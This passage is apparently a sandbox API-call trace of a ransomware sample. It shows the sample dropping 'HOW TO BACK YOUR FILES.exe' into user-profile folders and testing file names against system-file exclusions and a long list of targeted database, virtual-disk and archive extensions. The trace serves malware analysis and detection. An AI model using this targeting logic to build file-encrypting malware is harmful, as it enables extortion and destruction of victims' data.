	[0062.958] lstrcmpiW (lpString1="WebSlices~", lpString2="perflogs") returned 1
	[0062.958] lstrcmpiW (lpString1="WebSlices~", lpString2="MSBuild") returned 1
	[0062.958] lstrlenW (lpString="WebSlices~") returned 10
	[0062.958] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*") returned 88
	[0062.958] lstrcpyW (in: lpString1=0x119e6b6, lpString2="WebSlices~" | out: lpString1="WebSlices~") returned="WebSlices~"
	[0062.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0062.958] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xc4) returned 0x5c8f30
	[0062.958] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79b0 | out: ListHead=0x5b75f0, ListEntry=0x5b79b0) returned 0x5b7a90
	[0062.958] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0
	[0062.958] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0062.958] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79b0
	[0062.958] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~"
	[0062.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0062.958] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79a8 | out: hHeap=0x580000) returned 1
	[0062.958] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned 97
	[0062.958] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~"
	[0062.958] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.958] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0062.959] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0062.959] GetLastError () returned 0x0
	[0062.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0062.959] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0062.959] CloseHandle (hObject=0x15c) returned 1
	[0062.959] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0062.959] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.959] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0062.959] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.959] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.959] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.959] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f2808b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.959] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.959] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.959] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.959] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.960] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2808b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2808b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.960] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.960] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery~.feed-ms", cAlternateFileName="WEBSLI~1.FEE")) returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="Apollon865.txt.exe") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="..") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="windows") returned -1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="bootmgr") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="temp") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="pagefile.sys") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="boot") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="ids.txt") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="ntuser.dat") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="perflogs") returned 1
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2="MSBuild") returned 1
	[0062.960] lstrlenW (lpString="Web Slice Gallery~.feed-ms") returned 26
	[0062.960] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*") returned 99
	[0062.960] lstrcpyW (in: lpString1=0x119e6cc, lpString2="Web Slice Gallery~.feed-ms" | out: lpString1="Web Slice Gallery~.feed-ms") returned="Web Slice Gallery~.feed-ms"
	[0062.960] lstrlenW (lpString="Web Slice Gallery~.feed-ms") returned 26
	[0062.960] lstrlenW (lpString="Apollon865") returned 10
	[0062.960] lstrcmpiW (lpString1="y~.feed-ms", lpString2="Apollon865") returned 1
	[0062.960] lstrlenW (lpString=".dll") returned 4
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".dll") returned 1
	[0062.960] lstrlenW (lpString=".lnk") returned 4
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".lnk") returned 1
	[0062.960] lstrlenW (lpString=".ini") returned 4
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".ini") returned 1
	[0062.960] lstrlenW (lpString=".sys") returned 4
	[0062.960] lstrcmpiW (lpString1="Web Slice Gallery~.feed-ms", lpString2=".sys") returned 1
	[0062.960] lstrlenW (lpString="Web Slice Gallery~.feed-ms") returned 26
	[0062.960] lstrlenW (lpString="bak") returned 3
	[0062.960] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1
	[0062.960] lstrlenW (lpString="ba_") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1
	[0062.961] lstrlenW (lpString="dbb") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1
	[0062.961] lstrlenW (lpString="vmdk") returned 4
	[0062.961] lstrcmpiW (lpString1="d-ms", lpString2="vmdk") returned -1
	[0062.961] lstrlenW (lpString="rar") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1
	[0062.961] lstrlenW (lpString="zip") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1
	[0062.961] lstrlenW (lpString="tgz") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1
	[0062.961] lstrlenW (lpString="vbox") returned 4
	[0062.961] lstrcmpiW (lpString1="d-ms", lpString2="vbox") returned -1
	[0062.961] lstrlenW (lpString="vdi") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1
	[0062.961] lstrlenW (lpString="vhd") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1
	[0062.961] lstrlenW (lpString="vhdx") returned 4
	[0062.961] lstrcmpiW (lpString1="d-ms", lpString2="vhdx") returned -1
	[0062.961] lstrlenW (lpString="avhd") returned 4
	[0062.961] lstrcmpiW (lpString1="d-ms", lpString2="avhd") returned 1
	[0062.961] lstrlenW (lpString="db") returned 2
	[0062.961] lstrcmpiW (lpString1="ms", lpString2="db") returned 1
	[0062.961] lstrlenW (lpString="db2") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1
	[0062.961] lstrlenW (lpString="db3") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0062.961] lstrlenW (lpString="dbf") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0062.961] lstrlenW (lpString="mdf") returned 3
	[0062.961] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0062.962] lstrlenW (lpString="mdb") returned 3
	[0062.962] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0062.962] lstrlenW (lpString="sql") returned 3
	[0062.962] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0062.962] lstrlenW (lpString="sqlite") returned 6
	[0062.962] lstrcmpiW (lpString1="eed-ms", lpString2="sqlite") returned -1
	[0062.962] lstrlenW (lpString="sqlite3") returned 7
	[0062.962] lstrcmpiW (lpString1="feed-ms", lpString2="sqlite3") returned -1
	[0062.962] lstrlenW (lpString="sqlitedb") returned 8
	[0062.962] lstrcmpiW (lpString1=".feed-ms", lpString2="sqlitedb") returned -1
	[0062.962] lstrlenW (lpString="xml") returned 3
	[0062.962] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0062.962] lstrlenW (lpString="$er") returned 3
	[0062.962] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0062.962] lstrlenW (lpString="4dd") returned 3
	[0062.962] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0062.962] lstrlenW (lpString="4dl") returned 3
	[0062.962] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0062.962] lstrlenW (lpString="^^^") returned 3
	[0062.962] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0062.962] lstrlenW (lpString="abs") returned 3
	[0062.962] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0062.962] lstrlenW (lpString="abx") returned 3
	[0062.962] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0062.962] lstrlenW (lpString="accdb") returned 5
	[0062.962] lstrcmpiW (lpString1="ed-ms", lpString2="accdb") returned 1
	[0062.962] lstrlenW (lpString="accdc") returned 5
	[0062.962] lstrcmpiW (lpString1="ed-ms", lpString2="accdc") returned 1
	[0062.963] lstrlenW (lpString="accde") returned 5
	[0062.963] lstrcmpiW (lpString1="ed-ms", lpString2="accde") returned 1
	[0062.963] lstrlenW (lpString="accdr") returned 5
	[0062.963] lstrcmpiW (lpString1="ed-ms", lpString2="accdr") returned 1
	[0062.963] lstrlenW (lpString="accdt") returned 5
	[0062.963] lstrcmpiW (lpString1="ed-ms", lpString2="accdt") returned 1
	[0062.963] lstrlenW (lpString="accdw") returned 5
	[0062.963] lstrcmpiW (lpString1="ed-ms", lpString2="accdw") returned 1
	[0062.963] lstrlenW (lpString="accft") returned 5
	[0062.963] lstrcmpiW (lpString1="ed-ms", lpString2="accft") returned 1
	[0062.963] lstrlenW (lpString="adb") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0062.963] lstrlenW (lpString="adb") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0062.963] lstrlenW (lpString="ade") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0062.963] lstrlenW (lpString="adf") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0062.963] lstrlenW (lpString="adn") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0062.963] lstrlenW (lpString="adp") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0062.963] lstrlenW (lpString="alf") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0062.963] lstrlenW (lpString="ask") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0062.963] lstrlenW (lpString="btr") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0062.963] lstrlenW (lpString="cat") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0062.963] lstrlenW (lpString="cdb") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0062.963] lstrlenW (lpString="ckp") returned 3
	[0062.963] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0062.964] lstrlenW (lpString="cma") returned 3
	[0062.964] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0062.964] lstrlenW (lpString="cpd") returned 3
	[0062.964] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0062.964] lstrlenW (lpString="dacpac") returned 6
	[0062.964] lstrcmpiW (lpString1="eed-ms", lpString2="dacpac") returned 1
	[0062.964] lstrlenW (lpString="dad") returned 3
	[0062.964] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0062.964] lstrlenW (lpString="dadiagrams") returned 10
	[0062.964] lstrcmpiW (lpString1="y~.feed-ms", lpString2="dadiagrams") returned 1
	[0062.964] lstrlenW (lpString="daschema") returned 8
	[0062.964] lstrcmpiW (lpString1=".feed-ms", lpString2="daschema") returned -1
	[0062.964] lstrlenW (lpString="db-journal") returned 10
	[0062.964] lstrcmpiW (lpString1="y~.feed-ms", lpString2="db-journal") returned 1
	[0062.964] lstrlenW (lpString="db-shm") returned 6
	[0062.964] lstrcmpiW (lpString1="eed-ms", lpString2="db-shm") returned 1
	[0062.964] lstrlenW (lpString="db-wal") returned 6
	[0062.964] lstrcmpiW (lpString1="eed-ms", lpString2="db-wal") returned 1
	[0062.964] lstrlenW (lpString="dbc") returned 3
	[0062.964] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0062.964] lstrlenW (lpString="dbs") returned 3
	[0062.964] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0062.964] lstrlenW (lpString="dbt") returned 3
	[0062.964] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0062.964] lstrlenW (lpString="dbv") returned 3
	[0062.964] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0062.964] lstrlenW (lpString="dbx") returned 3
	[0062.964] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0062.964] lstrlenW (lpString="dcb") returned 3
	[0062.964] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0062.964] lstrlenW (lpString="dct") returned 3
	[0062.964] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0062.964] lstrlenW (lpString="dcx") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
	[0062.965] lstrlenW (lpString="ddl") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0062.965] lstrlenW (lpString="dlis") returned 4
	[0062.965] lstrcmpiW (lpString1="d-ms", lpString2="dlis") returned 1
	[0062.965] lstrlenW (lpString="dp1") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0062.965] lstrlenW (lpString="dqy") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0062.965] lstrlenW (lpString="dsk") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0062.965] lstrlenW (lpString="dsn") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0062.965] lstrlenW (lpString="dtsx") returned 4
	[0062.965] lstrcmpiW (lpString1="d-ms", lpString2="dtsx") returned -1
	[0062.965] lstrlenW (lpString="dxl") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0062.965] lstrlenW (lpString="eco") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0062.965] lstrlenW (lpString="ecx") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0062.965] lstrlenW (lpString="edb") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0062.965] lstrlenW (lpString="epim") returned 4
	[0062.965] lstrcmpiW (lpString1="d-ms", lpString2="epim") returned -1
	[0062.965] lstrlenW (lpString="fcd") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0062.965] lstrlenW (lpString="fdb") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0062.965] lstrlenW (lpString="fic") returned 3
	[0062.965] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0062.965] lstrlenW (lpString="flexolibrary") returned 12
	[0062.965] lstrcmpiW (lpString1="ery~.feed-ms", lpString2="flexolibrary") returned -1
	[0062.965] lstrlenW (lpString="fm5") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0062.966] lstrlenW (lpString="fmp") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0062.966] lstrlenW (lpString="fmp12") returned 5
	[0062.966] lstrcmpiW (lpString1="ed-ms", lpString2="fmp12") returned -1
	[0062.966] lstrlenW (lpString="fmpsl") returned 5
	[0062.966] lstrcmpiW (lpString1="ed-ms", lpString2="fmpsl") returned -1
	[0062.966] lstrlenW (lpString="fol") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0062.966] lstrlenW (lpString="fp3") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0062.966] lstrlenW (lpString="fp4") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0062.966] lstrlenW (lpString="fp5") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0062.966] lstrlenW (lpString="fp7") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0062.966] lstrlenW (lpString="fpt") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0062.966] lstrlenW (lpString="frm") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0062.966] lstrlenW (lpString="gdb") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0062.966] lstrlenW (lpString="gdb") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0062.966] lstrlenW (lpString="grdb") returned 4
	[0062.966] lstrcmpiW (lpString1="d-ms", lpString2="grdb") returned -1
	[0062.966] lstrlenW (lpString="gwi") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0062.966] lstrlenW (lpString="hdb") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0062.966] lstrlenW (lpString="his") returned 3
	[0062.966] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0062.967] lstrlenW (lpString="ib") returned 2
	[0062.967] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0062.967] lstrlenW (lpString="idb") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0062.967] lstrlenW (lpString="ihx") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0062.967] lstrlenW (lpString="itdb") returned 4
	[0062.967] lstrcmpiW (lpString1="d-ms", lpString2="itdb") returned -1
	[0062.967] lstrlenW (lpString="itw") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0062.967] lstrlenW (lpString="jet") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0062.967] lstrlenW (lpString="jtx") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0062.967] lstrlenW (lpString="kdb") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0062.967] lstrlenW (lpString="kexi") returned 4
	[0062.967] lstrcmpiW (lpString1="d-ms", lpString2="kexi") returned -1
	[0062.967] lstrlenW (lpString="kexic") returned 5
	[0062.967] lstrcmpiW (lpString1="ed-ms", lpString2="kexic") returned -1
	[0062.967] lstrlenW (lpString="kexis") returned 5
	[0062.967] lstrcmpiW (lpString1="ed-ms", lpString2="kexis") returned -1
	[0062.967] lstrlenW (lpString="lgc") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0062.967] lstrlenW (lpString="lwx") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0062.967] lstrlenW (lpString="maf") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
	[0062.967] lstrlenW (lpString="maq") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0062.967] lstrlenW (lpString="mar") returned 3
	[0062.967] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0062.967] lstrlenW (lpString="marshal") returned 7
	[0062.967] lstrcmpiW (lpString1="feed-ms", lpString2="marshal") returned -1
	[0062.968] lstrlenW (lpString="mas") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0062.968] lstrlenW (lpString="mav") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0062.968] lstrlenW (lpString="maw") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0062.968] lstrlenW (lpString="mdbhtml") returned 7
	[0062.968] lstrcmpiW (lpString1="feed-ms", lpString2="mdbhtml") returned -1
	[0062.968] lstrlenW (lpString="mdn") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0062.968] lstrlenW (lpString="mdt") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0062.968] lstrlenW (lpString="mfd") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0062.968] lstrlenW (lpString="mpd") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0062.968] lstrlenW (lpString="mrg") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0062.968] lstrlenW (lpString="mud") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0062.968] lstrlenW (lpString="mwb") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0062.968] lstrlenW (lpString="myd") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0062.968] lstrlenW (lpString="ndf") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0062.968] lstrlenW (lpString="nnt") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0062.968] lstrlenW (lpString="nrmlib") returned 6
	[0062.968] lstrcmpiW (lpString1="eed-ms", lpString2="nrmlib") returned -1
	[0062.968] lstrlenW (lpString="ns2") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0062.968] lstrlenW (lpString="ns3") returned 3
	[0062.968] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0062.969] lstrlenW (lpString="ns4") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0062.969] lstrlenW (lpString="nsf") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0062.969] lstrlenW (lpString="nv") returned 2
	[0062.969] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0062.969] lstrlenW (lpString="nv2") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0062.969] lstrlenW (lpString="nwdb") returned 4
	[0062.969] lstrcmpiW (lpString1="d-ms", lpString2="nwdb") returned -1
	[0062.969] lstrlenW (lpString="nyf") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0062.969] lstrlenW (lpString="odb") returned 3
	[0062.969] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
